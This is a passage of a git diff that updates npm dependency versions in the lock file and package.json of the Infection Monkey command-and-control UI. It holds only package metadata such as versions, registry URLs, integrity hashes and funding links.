+ "node_modules/tsparticles-updater-size": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-size/-/tsparticles-updater-size-2.12.0.tgz", + "integrity": "sha512-B0yRdEDd/qZXCGDL/ussHfx5YJ9UhTqNvmS5X2rR2hiZhBAE2fmsXLeWkdtF2QusjPeEqFDxrkGiLOsh6poqRA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-stroke-color": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-stroke-color/-/tsparticles-updater-stroke-color-2.12.0.tgz", + "integrity": "sha512-MPou1ZDxsuVq6SN1fbX+aI5yrs6FyP2iPCqqttpNbWyL+R6fik1rL0ab/x02B57liDXqGKYomIbBQVP3zUTW1A==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-tilt": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-tilt/-/tsparticles-updater-tilt-2.12.0.tgz", + "integrity": "sha512-HDEFLXazE+Zw+kkKKAiv0Fs9D9sRP61DoCR6jZ36ipea6OBgY7V1Tifz2TSR1zoQkk57ER9+EOQbkSQO+YIPGQ==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-twinkle": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-twinkle/-/tsparticles-updater-twinkle-2.12.0.tgz", + "integrity": "sha512-JhK/DO4kTx7IFwMBP2EQY9hBaVVvFnGBvX21SQWcjkymmN1hZ+NdcgUtR9jr4jUiiSNdSl7INaBuGloVjWvOgA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-wobble": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-wobble/-/tsparticles-updater-wobble-2.12.0.tgz", + "integrity": "sha512-85FIRl95ipD3jfIsQdDzcUC5PRMWIrCYqBq69nIy9P8rsNzygn+JK2n+P1VQZowWsZvk0mYjqb9OVQB21Lhf6Q==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } }, "node_modules/tty-browserify": { "version": "0.0.1", @@ -15582,6 +16649,57 @@ "node": ">= 0.6" } }, + "node_modules/typed-array-buffer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz", + "integrity": "sha512-Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz", + "integrity": "sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz", + "integrity": "sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/typed-array-length": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.4.tgz", @@ -15597,22 +16715,22 @@ } }, "node_modules/typescript": { - "version": "4.9.5", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz", - "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==", + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.2.2.tgz", + "integrity": "sha512-mI4WrpHsbCIcwT9cF4FZvr80QUeKvsUsUvKDoR+X/7XHQH98xYD8YHZg7ANtz2GtZt/CBq2QJ0thkGJMHfqc1w==", "dev": true, "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" }, "engines": { - "node": ">=4.2.0" + "node": ">=14.17" } }, "node_modules/ua-parser-js": { - "version": "0.7.34", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.34.tgz", - "integrity": "sha512-cJMeh/eOILyGu0ejgTKB95yKT3zOenSe9UGE3vj6WfiOwgGYnmATUsnDixMFvdU+rNMvWih83hrUP8VwhF9yXQ==", + "version": "0.7.36", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.36.tgz", + "integrity": "sha512-CPPLoCts2p7D8VbybttE3P2ylv0OBZEAy7a12DsulIEcAiMtWJy+PBgMXgWDI80D5UwqE8oQPHYnk13tm38M2Q==", "funding": [ { "type": "opencollective", @@ -15621,6 +16739,10 @@ { "type": "paypal", "url": "https://paypal.me/faisalman" + }, + { + "type": "github", + "url": "https://github.com/sponsors/faisalman" } ], "engines": { @@ -15814,9 +16936,9 @@ } }, "node_modules/update-browserslist-db": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", - "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz", + "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==", "funding": [ { "type": "opencollective", @@ -15825,6 +16947,10 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } ], "dependencies": { @@ -15832,7 +16958,7 @@ "picocolors": "^1.0.0" }, "bin": { - "browserslist-lint": "cli.js" + "update-browserslist-db": "cli.js" }, "peerDependencies": { "browserslist": ">= 4.21.0" @@ -15847,18 +16973,32 @@ } }, "node_modules/url": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", - "integrity": "sha512-kbailJa29QrtXnxgq+DdCEGlbTeYM2eJUxsz6vjZavrCYPMIFHMKQmSKYAIuUK2i7hgPm28a8piX5NTUtM/LKQ==", + "version": "0.11.3", + "resolved": "https://registry.npmjs.org/url/-/url-0.11.3.tgz", + "integrity": "sha512-6hxOLGfZASQK/cijlZnZJTq8OXAkt/3YGfQX45vvMYXpZoo8NdWZcY73K108Jf759lS1Bv/8wXnHDTSz17dSRw==", "dependencies": { - "punycode": "1.3.2", - "querystring": "0.2.0" + "punycode": "^1.4.1", + "qs": "^6.11.2" } }, "node_modules/url/node_modules/punycode": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", - "integrity": "sha512-RofWgt/7fL5wP1Y7fxE7/EmTLzQVnB0ycyibJ0OOHIlJqTNzglYFxVwETOcIoJqJmpDXJ9xImDv+Fq34F/d4Dw==" + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", + "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" + }, + "node_modules/url/node_modules/qs": { + "version": "6.11.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.2.tgz", + "integrity": "sha512-tDNIz22aBzCDxLtVH++VnTfzxlfeK5CbqohpSqpJgj1Wg/cQbStNAz3NuqCs5vV+pjBsK4x4pN9HlVh7rcYRiA==", + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } }, "node_modules/util": { "version": "0.12.5", @@ -15893,9 +17033,14 @@ } }, "node_modules/uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", + "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "peer": true, "bin": { "uuid": "dist/bin/uuid" } @@ -16000,23 +17145,22 @@ } }, "node_modules/vis-data": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.4.tgz", - "integrity": "sha512-usy+ePX1XnArNvJ5BavQod7YRuGQE1pjFl+pu7IS6rCom2EBoG0o1ZzCqf3l5US6MW51kYkLR+efxRbnjxNl7w==", - "hasInstallScript": true, + "version": "7.1.7", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.7.tgz", + "integrity": "sha512-Jfrb6Ixyr3jdqFgpCBWnzb4w7PdD3UjOY6vea9yXixoKSLveUj+rAuxByoRKRvdjhsRtsYCEXG6MXjjx+uvGvQ==", "funding": { "type": "opencollective", "url": "https://opencollective.com/visjs" }, "peerDependencies": { - "uuid": "^7.0.0 || ^8.0.0", - "vis-util": "^4.0.0 || ^5.0.0" + "uuid": "^3.4.0 || ^7.0.0 || ^8.0.0 || ^9.0.0", + "vis-util": "^5.0.1" } }, "node_modules/vis-network": { - "version": "9.1.4", - "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.1.4.tgz", - "integrity": "sha512-B+BrPXkxu7AiqQpxVjjRpMBenVJvdB8y1D8J9NseXC8f/Z7U8dknFYZpcPFZzHh3bypj9/25GsycwE4p5my3dw==", + "version": "9.1.6", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.1.6.tgz", + "integrity": "sha512-Eiwx1JleAsUqfy4pzcsFngCVlCEdjAtRPB/OwCV7PHBm+o2jtE4IZPcPITAEGUlxvL4Fdw7/lZsfD32dL+IL6g==", "hasInstallScript": true, "funding": { "type": "opencollective", @@ -16028,14 +17172,14 @@ "keycharm": "^0.2.0 || ^0.3.0 || ^0.4.0", "timsort": "^0.3.0", "uuid": "^3.4.0 || ^7.0.0 || ^8.0.0 || ^9.0.0", - "vis-data": "^7.0.0", + "vis-data": "^6.3.0 || ^7.0.0", "vis-util": "^5.0.1" } }, "node_modules/vis-util": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-5.0.3.tgz", - "integrity": "sha512-Wf9STUcFrDzK4/Zr7B6epW2Kvm3ORNWF+WiwEz2dpf5RdWkLUXFSbLcuB88n1W6tCdFwVN+v3V4/Xmn9PeL39g==", + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-5.0.4.tgz", + "integrity": "sha512-N7RDzCAqxXMY+Uyxj5GNB6BOkKjrr2FvjFpm0goX8wE6r8AjzYG8IuxniAePRZqOYhpJnEYqXpb6lMx1oAOHKg==", "peer": true, "engines": { "node": ">=8" @@ -16084,21 +17228,21 @@ } }, "node_modules/webpack": { - "version": "5.76.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.76.0.tgz", - "integrity": "sha512-l5sOdYBDunyf72HW8dF23rFtWq/7Zgvt/9ftMof71E/yUb1YLOBmTgA2K4vQthB3kotMrSj609txVE0dnr2fjA==", + "version": "5.88.2", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.88.2.tgz", + "integrity": "sha512-JmcgNZ1iKj+aiR0OvTYtWQqJwq37Pf683dY9bVORwVbUrDhLhdn/PlO2sHsFHPkj7sHNQF3JwaAkp49V+Sq1tQ==", "dependencies": { "@types/eslint-scope": "^3.7.3", - "@types/estree": "^0.0.51", - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/wasm-edit": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1", + "@types/estree": "^1.0.0", + "@webassemblyjs/ast": "^1.11.5", + "@webassemblyjs/wasm-edit": "^1.11.5", + "@webassemblyjs/wasm-parser": "^1.11.5", "acorn": "^8.7.1", - "acorn-import-assertions": "^1.7.6", + "acorn-import-assertions": "^1.9.0", "browserslist": "^4.14.5", "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^5.10.0", - "es-module-lexer": "^0.9.0", + "enhanced-resolve": "^5.15.0", + "es-module-lexer": "^1.2.1", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", @@ -16107,9 +17251,9 @@ "loader-runner": "^4.2.0", "mime-types": "^2.1.27", "neo-async": "^2.6.2", - "schema-utils": "^3.1.0", + "schema-utils": "^3.2.0", "tapable": "^2.1.1", - "terser-webpack-plugin": "^5.1.3", + "terser-webpack-plugin": "^5.3.7", "watchpack": "^2.4.0", "webpack-sources": "^3.2.3" }, @@ -16130,17 +17274,17 @@ } }, "node_modules/webpack-cli": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-5.0.1.tgz", - "integrity": "sha512-S3KVAyfwUqr0Mo/ur3NzIp6jnerNpo7GUO6so51mxLi1spqsA17YcMXy0WOIJtBSnj748lthxC6XLbNKh/ZC+A==", + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-5.1.4.tgz", + "integrity": "sha512-pIDJHIEI9LR0yxHXQ+Qh95k2EvXpWzZ5l+d+jIo+RdSm9MiHfzazIxwwni/p7+x4eJZuvG1AJwgC4TNQ7NRgsg==", "dev": true, "dependencies": { "@discoveryjs/json-ext": "^0.5.0", - "@webpack-cli/configtest": "^2.0.1", - "@webpack-cli/info": "^2.0.1", - "@webpack-cli/serve": "^2.0.1", + "@webpack-cli/configtest": "^2.1.1", + "@webpack-cli/info": "^2.0.2", + "@webpack-cli/serve": "^2.0.5", "colorette": "^2.0.14", - "commander": "^9.4.1", + "commander": "^10.0.1", "cross-spawn": "^7.0.3", "envinfo": "^7.7.3", "fastest-levenshtein": "^1.0.12", @@ -16175,12 +17319,12 @@ } }, "node_modules/webpack-cli/node_modules/commander": { - "version": "9.5.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", - "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-10.0.1.tgz", + "integrity": "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==", "dev": true, "engines": { - "node": "^12.20.0 || >=14" + "node": ">=14" } }, "node_modules/webpack-dev-middleware": { @@ -16207,9 +17351,9 @@ } }, "node_modules/webpack-dev-server": { - "version": "4.11.1", - "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.11.1.tgz", - "integrity": "sha512-lILVz9tAUy1zGFwieuaQtYiadImb5M3d+H+L1zDYalYoDl0cksAB1UNyuE5MMWJrG6zR1tXkCP2fitl7yoUJiw==", + "version": "4.15.1", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.1.tgz", + "integrity": "sha512-5hbAst3h3C3L8w6W4P96L5vaV0PxSmJhxZvWKYIdgxOQm8pNZ5dEOmmSLBVpP85ReeyRt6AS1QJNyo/oFFPeVA==", "dev": true, "dependencies": { "@types/bonjour": "^3.5.9", @@ -16218,7 +17362,7 @@ "@types/serve-index": "^1.9.1", "@types/serve-static": "^1.13.10", "@types/sockjs": "^0.3.33", - "@types/ws": "^8.5.1", + "@types/ws": "^8.5.5", "ansi-html-community": "^0.0.8", "bonjour-service": "^1.0.11", "chokidar": "^3.5.3", @@ -16231,6 +17375,7 @@ "html-entities": "^2.3.2", "http-proxy-middleware": "^2.0.3", "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", "open": "^8.0.9", "p-retry": "^4.5.0", "rimraf": "^3.0.2", @@ -16240,7 +17385,7 @@ "sockjs": "^0.3.24", "spdy": "^4.0.2", "webpack-dev-middleware": "^5.3.1", - "ws": "^8.4.2" + "ws": "^8.13.0" }, "bin": { "webpack-dev-server": "bin/webpack-dev-server.js" @@ -16256,6 +17401,9 @@ "webpack": "^4.37.0 || ^5.0.0" }, "peerDependenciesMeta": { + "webpack": { + "optional": true + }, "webpack-cli": { "optional": true } @@ -16277,9 +17425,9 @@ } }, "node_modules/webpack-merge": { - "version": "5.8.0", - "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.8.0.tgz", - "integrity": "sha512-/SaI7xY0831XwP6kzuwhKWVKDP9t1QY1h65lAFLbZqMPIuYcD9QAW4u9STIbU9kaJbPBB/geU/gLr1wDjOhQ+Q==", + "version": "5.9.0", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.9.0.tgz", + "integrity": "sha512-6NbRQw4+Sy50vYNTw7EyOn41OZItPiXB8GNv3INSoe3PSFaHJEz3SHTrYVaRm2LilNGnFUzh0FAwqPEmU/CwDg==", "dev": true, "dependencies": { "clone-deep": "^4.0.1", @@ -16297,11 +17445,6 @@ "node": ">=10.13.0" } }, - "node_modules/webpack/node_modules/@types/estree": { - "version": "0.0.51", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.51.tgz", - "integrity": "sha512-CuPgU6f3eT/XgKKPqKd/gLZV1Xmvf1a2R5POBOGQa6uv82xpls89HU5zKeVoyR8XzHd1RGNOlQlvUe3CFkjWNQ==" - }, "node_modules/webpack/node_modules/ajv": { "version": "6.12.6", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", @@ -16331,9 +17474,9 @@ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" }, "node_modules/webpack/node_modules/schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", "dependencies": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", @@ -16371,9 +17514,9 @@ } }, "node_modules/whatwg-fetch": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", - "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" + "version": "3.6.19", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.19.tgz", + "integrity": "sha512-d67JP4dHSbm2TrpFj8AbO8DnL1JXL5J9u0Kq2xW6d0TFDbCA3Muhdt8orXC22utleTVj7Prqt82baN6RBvnEgw==" }, "node_modules/which": { "version": "2.0.2", @@ -16406,17 +17549,57 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/which-builtin-type": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.1.3.tgz", + "integrity": "sha512-YmjsSMDBYsM1CaFiayOVT06+KJeXf0o5M/CAd4o1lTadFAtacTUM49zoYxr/oroopFDfhvN6iEcBxUyc3gvKmw==", + "dev": true, + "dependencies": { + "function.prototype.name": "^1.1.5", + "has-tostringtag": "^1.0.0", + "is-async-function": "^2.0.0", + "is-date-object": "^1.0.5", + "is-finalizationregistry": "^1.0.2", + "is-generator-function": "^1.0.10", + "is-regex": "^1.1.4", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.1.tgz", + "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==", + "dev": true, + "dependencies": { + "is-map": "^2.0.1", + "is-set": "^2.0.1", + "is-weakmap": "^2.0.1", + "is-weakset": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/which-typed-array": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.9.tgz", - "integrity": "sha512-w9c4xkx6mPidwp7180ckYWfMmvxpjlZuIudNtDf4N/tTAUB8VJbX25qZoAsrtGuYNnGw3pa0AXgbGKRB8/EceA==", + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.11.tgz", + "integrity": "sha512-qe9UWWpkeG5yzZ0tNYxDmd7vo58HDBc39mZ0xWWpolAGADdFOzkfamWLDxkOWcvHQKVmdTyQdLD4NOfjLWTKew==", "dependencies": { "available-typed-arrays": "^1.0.5", "call-bind": "^1.0.2", "for-each": "^0.3.3", "gopd": "^1.0.1", - "has-tostringtag": "^1.0.0", - "is-typed-array": "^1.1.10" + "has-tostringtag": "^1.0.0" }, "engines": { "node": ">= 0.4" @@ -16426,21 +17609,30 @@ } }, "node_modules/wildcard": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.0.tgz", - "integrity": "sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.1.tgz", + "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==", "dev": true }, - "node_modules/word-wrap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, "engines": { - "node": ">=0.10.0" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, - "node_modules/wrap-ansi": { + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", @@ -16457,6 +17649,39 @@ "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, "node_modules/wrap-ansi/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", @@ -16497,9 +17722,9 @@ "dev": true }, "node_modules/ws": { - "version": "8.12.1", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.12.1.tgz", - "integrity": "sha512-1qo+M9Ba+xNhPB+YTWUlK6M17brTut5EXbcBaMRN5pH5dFrXz7lzz1ChFSUq3bOUl8yEvSenhHmYUNJxFzdJew==", + "version": "8.14.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.14.1.tgz", + "integrity": "sha512-4OOseMUq8AzRBI/7SLMUwO+FEDnguetSk7KMb1sHwvF2w2Wv5Hoj0nlifx8vtGsftE/jWHojPy8sMMzYLJ2G/A==", "dev": true, "engines": { "node": ">=10.0.0" diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 956ff0a0916..5ba57cfed06 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -1,6 +1,6 @@ { "private": true, - "version": "2.2.0", + "version": "2.3.0", "name": "infection-monkey", "description": "Infection Monkey C&C UI", "scripts": { @@ -25,90 +25,94 @@ "not dead" ], "devDependencies": { - "@babel/cli": "7.21.0", - "@babel/core": "7.21.0", - "@babel/eslint-parser": "^7.19.1", - "@babel/plugin-proposal-class-properties": "7.18.6", - "@babel/plugin-transform-runtime": "7.21.0", - "@babel/preset-env": "7.20.2", - "@babel/preset-react": "7.18.6", - "@babel/runtime": "7.21.0", - "@emotion/babel-plugin": "^11.10.6", - "@types/jest": "29.4.0", - "@types/node": "18.14.5", - "@types/react": "^16.14.35", - "@types/react-dom": "^16.9.18", - "babel-loader": "9.1.2", + "@babel/cli": "^7.22.5", + "@babel/core": "^7.22.5", + "@babel/eslint-parser": "^7.22.5", + "@babel/plugin-proposal-class-properties": "^7.18.6", + "@babel/plugin-transform-runtime": "^7.22.5", + "@babel/preset-env": "^7.22.5", + "@babel/preset-react": "^7.22.5", + "@babel/runtime": "^7.22.5", + "@emotion/babel-plugin": "^11.11.0", + "@types/jest": "^29.5.2", + "@types/node": "^20.3.1", + "@types/react": "^18.2.12", + "@types/react-dom": "^18.2.5", + "babel-loader": "^9.1.2", "babel-plugin-emotion": "^11.0.0", - "copyfiles": "2.4.1", - "css-loader": "6.7.3", - "eslint": "8.35.0", - "eslint-plugin-react": "7.32.2", - "eslint-webpack-plugin": "^4.0.0", - "fork-ts-checker-webpack-plugin": "7.3.0", - "html-loader": "4.2.0", - "html-webpack-plugin": "5.5.0", - "npm": "9.6.0", - "rimraf": "4.2.0", - "sass": "1.58.3", - "sass-loader": "13.2.0", - "speed-measure-webpack-plugin": "1.5.0", - "style-loader": "3.3.1", - "thread-loader": "3.0.4", - "ts-loader": "9.4.2", - "typescript": "4.9.5", - "webpack": "5.76.0", - "webpack-cli": "5.0.1", - "webpack-dev-server": "4.11.1" + "copyfiles": "^2.4.1", + "css-loader": "^6.8.1", + "eslint": "^8.42.0", + "eslint-plugin-react": "^7.32.2", + "eslint-webpack-plugin": "^4.0.1", + "fork-ts-checker-webpack-plugin": "^8.0.0", + "html-loader": "^4.2.0", + "html-webpack-plugin": "^5.5.3", + "npm": "^9.7.1", + "rimraf": "^5.0.1", + "sass": 